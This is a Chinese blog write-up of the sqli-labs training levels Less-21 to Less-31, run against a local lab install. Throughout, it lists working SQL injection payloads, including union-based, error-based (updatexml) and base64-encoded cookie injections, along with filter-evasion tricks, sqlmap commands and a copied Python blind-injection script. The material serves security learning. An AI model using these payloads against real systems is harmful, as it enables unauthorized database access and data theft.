Less-21
常规型
使用admin登录尝试,
判断闭合符号
使用base64进行了编码,所以payload也使用base64进行一次编码
admin\
YWRtaW5c
所以闭合符号为')
然后就可以进行注入了
判断列数
admin') order by 1#
YWRtaW4nKSBvcmRlciBieSAxIw==
测试到4,报错,列数只有3。跟前面一样
联合查询,判断回显点
') union select 1,2,3#
回显点找到,爆数据库名
') union select 1,2,database()#
JykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
接着爆表名
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==
然后就是爆数据的字段了,然后再爆值就行了,不多说。
报错型
判断个数据库名
') updatexml(1,concat(0x7e,(select database()),0x7e),1)#
JykgYW5kICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpKSM=
其他的按照报错注入的流程来进行就可以了。
Less-22
这个与前一关相比就是闭合符号改变了,本关的闭合符号是双引号"
然后就是重复上面的操作,不再多说。
这个也是可以报错注入进行操作的。
Less-23
常规操作
这一关是get类型,先判断闭合符号,发现是单引号闭合。
这一关是过滤了注释符号,查看源码是可以看出过滤了#
和+--
知识了解
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
MySQL中的注释符
1.单行注释: --+或--空格 或#
2.多行注释: /*多行注释内容*/
去除注释符的代码分析preg_replace(mixed $pattern,mixed $replacement,mixed $subject)
执行一个正则表达式的搜索和替换。
参数说明:
第一个参数:要搜索的模式,可以是字符串或一个字符串数组。
第二个参数:用于替换的字符串或字符串数组
第三个参数:要搜索替换的目标字符串或字符数组
那么就想办法绕过,利用注释符过滤不能成功闭合单引号,换一种思路,利用or '1'='1
闭合单引号。于是有下面的payload。
?id=-1' union select 1,2,'3
可以看到成功执行了SQL语句。
接下来就是爆数据库
?id=-1' union select 1,database(),'3
然后就可以按照常规操作进行注入。
使用sqlmap进行注入
使用sqlmap进行探测绕过去注释符的SQL注入攻击
python sqlmap.py -u "url" --batch
探测出id位置可能存在注入,并开始注入。时间较长。
已经探测出存在有注入了,其实就可以进行下一步了。
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-23/?id=1" --dbs --batch
这个比较快
然后又是傻瓜式操作,为所欲为吧。
Less-25
根据它的提示,知道过滤了and和or。
mysql中大小写不敏感,大小写都一样
mysql对十六进制和URL编码是会自动解码的。
符号和关键字替换
and==&&、or==||
内联注释:/*! 内联注释*/会被当作SQL语句执行
多行注释/**/
绕过策略:
1.大小写变形————————大小写不敏感直接被剔除。
2.注释绕过:例如: a/**/nd
3.双写绕过 例如:oorr
4.利用符号替代绕过:如: and--&& or---||
判断闭合符号,发现是单引号闭合。
然后判断是否存在注入
http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorr 1=1--+
http://127.0.0.1/sqli-labs-master/Less-25/?id=1' Anandd 1=1--+
双写绕过成功,
http://127.0.0.1/sqli-labs-master/Less-25/?id=1' || 1=1--+
符号绕过成功。目前的PHP版本可能不支持&&
绕过,可以换成其他的版本试试。
下面进行sqlmap进行注入
数据库名也猜解出来了。
然后进行后续操作就行。
Less-25a
在上一关的基础上加了盲注,用脚本就行了,目前脚本正在学习。还是在百度找的大佬的脚本。
#! /usr/bin/env python
#coding=utf-8
import requests
from bs4 import BeautifulSoup
import time
chars = r'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@;\/:.'
#boolean blind sql injection
def attack(target):
url = "http://127.0.0.1/sqli-labs-master/Less-25a/?id=1 anandd (select substr({0},{1},1))='{2}'"
count = 1
result = ''
while(True):
result_tmp = result
for char in chars:
if char == '\\':
char = '\\\\'
print url.format(target,count,char)
response = requests.get(url.format(target,count,char))
soup = BeautifulSoup(response.text,'lxml')
font = soup.select('font["size=5"]')[0]
print font
if 'Your' in font.get_text():
result+=char
print result+'......'
break
#判断是否结束
if result_tmp == result:
print u'脚本结束(结果不区分大小写)'
print result
break
count = count+1
还可以使用sqlmap进行探测
这里也可以看出来是时间盲注。继续探测
数据库探测到了,继续操作就行。
Less-26
过滤空格和注释符。
空格绕过可以使用以下方法:
过滤空格的绕过方式
编码:常见的URL编码:%0a换行 %20空格 tab(水平): %09/**/
就将SQL语句中的空格换成/**/
就行了,其他操作与上面一样。
Less-26a
同样的套路,仍然是加了盲注,所以使用sqlmap或者脚本都可以做。
脚本就不贴了, 自行百度吧,也不能总用别人写的脚本。
Less-27
过滤union和select的关卡,这个绕过方式就是双写,大小写,编码绕过。
还有其他的过滤一起加上了
这里使用大小写加双写绕过,
注释符被过滤,所以先对此进行绕过
http://127.0.0.1/sqli-labs-master/Less-27/?id=1'||'1'='1
然后爆数据库,这里是对union和select进行过滤,使用双写大小写混合可绕过,不过还有空格的绕过,这里我试了/**/
不行,所以就用一下%0A
进行绕过。
http://127.0.0.1/sqli-labs-master/Less-27/?id=1'%0AuNiunionOn%0AseLeselectct%0A1,2,3||'1'='1
可以发现成功了。
然后就可以进行爆数据库名了。
http://127.0.0.1/sqli-labs-master/Less-27/?id=999'%0AuNiunionOn%0AseLeselectct%0A1,database(),3||'1'='1
这个无法使用id=-1
因为过滤了-
所以就用个比较大的数1000、999之类的数字都行。
就是这样,剩下的就是为所欲为了。
Less-27a
这一关与27关不同的只是闭合符号不一样,本关是双引号闭合
http://127.0.0.1/sqli-labs-master/Less-27a/?id=1" or "1"="1
剩下的就跟27关一样了,老套路往上套就行了。
Less-28
这个判断闭合符号没有判断出来,于是看下源代码,
看到了是')
闭合,突然想到一个办法,就是暴力猜解
使用一个常见的闭合符号做的字典,然后使用burp进行暴力破解
果然可以,得到了几个,范围小很多了。
http://127.0.0.1/sqli-labs-master/Less-28/?id=999')%0AUnIunion%0Aselecton%0AsElEct%0A1,database(),3||('1')=('1
奥,好吧,这个原来是要一个一个尝试的,根据回显正确还是错误来判断。emmm,我用sqlmap跑一下试试。
eeeee,就是太慢了,闭合符号能判断出来就行。
对了,再说一下这个payload。
%0A绕过空格就不用细说了。主要是这个union select
,需要先构造一个union select
给它过滤,这里用到双写。而且union select
必须要连在一起才行。后面用or'1'='1
形式来绕过注释符。
Less-28a
这个跟28一样,闭合符号都没有变,而且这一关没有过滤空格
所以只需要进行注释绕过和union select
绕过即可。
Less-29
eee,原本没看懂什么意思,这个是直接可以注入的,
直接得到数据库名了。
而且我用sqlmap跑了一遍,也没有问题。
所以我有点迷,这一关是要干什么?
然后查了一下网上大师傅的博客,看到好多个不同的,然后找到一个比较好的博客,这里先贴出来🔑sql-labs/Less-29
这位师傅的博客写的非常详细,学习了。
就是问题是
我的为什么没有跳转到hacked.jsp
可能是我的靶场哪里出了问题。不过还是了解了tomcat服务器,还有注入时遇到双服务器。
Less-30-31
然后的话,30和31和这一关没什么太大区别,都是老套路。就不总结了。
下周继续努力。
- 本文链接:https://m0re.top/posts/1a4cf9ee/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。
您可以点击下方按钮切换对应评论系统,
Valineutterances